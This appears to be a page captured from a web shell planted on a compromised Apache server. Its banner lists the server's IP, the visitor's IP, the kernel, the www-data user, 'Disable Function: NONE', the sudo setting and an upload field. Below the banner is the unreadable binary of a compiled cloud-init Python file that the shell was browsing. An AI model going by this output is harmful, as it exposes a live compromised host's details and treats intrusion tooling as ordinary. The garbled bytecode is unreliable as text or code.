Server IP : 15.235.198.142 / Your IP : 216.73.216.190 Web Server : Apache/2.4.58 (Ubuntu) System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64 User : www-data ( 33) PHP Version : 8.3.6 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/python3/dist-packages/cloudinit/net/__pycache__/ |
Upload File : |
� �f� � � � d dl Z d dlZd dlmZmZ e j e� Z G d� dej j j � Zdd�Zy)� N)�subp�utilc �4 � � e Zd Zd� fd� Zd� Zdd�Zd� Z� xZS )�Rendererc �* �� t t | � � y �N)�superr �__init__)�self�config� __class__s ��6/usr/lib/python3/dist-packages/cloudinit/net/netbsd.pyr zRenderer.__init__ s �� � �h��&�(� c � � | j � rA| j dd� | j ddj | j � � � | j j � D ]l \ }}t |t � s�|j d� dz |j d� z }|j d� }|r|d |z z }| j d |z |� �n y )N�dhcpcd�YES�dhcpcd_flags� �addressz netmask �netmask�mtuz mtu %d� ifconfig_)�dhcp_interfaces�set_rc_config_value�join�interface_configurations�items� isinstance�dict�get)r �device_name�v� net_configr s r �write_configzRenderer.write_config s� � ����!��$�$�X�u�5��$�$������)=�)=�)?� @� � #�;�;�A�A�C� P�N�K���!�T�"��U�U�9�-��;�a�e�e�I�>N�N� ��e�e�E�l����)�c�/�1�J��(�(��{�)B�J�O� Pr c � � |st j d� y t j g d�d�� | j � rt j g d�d�� y y )Nz netbsd generate postcmd disabled)�service�network�restartT)�capture)r&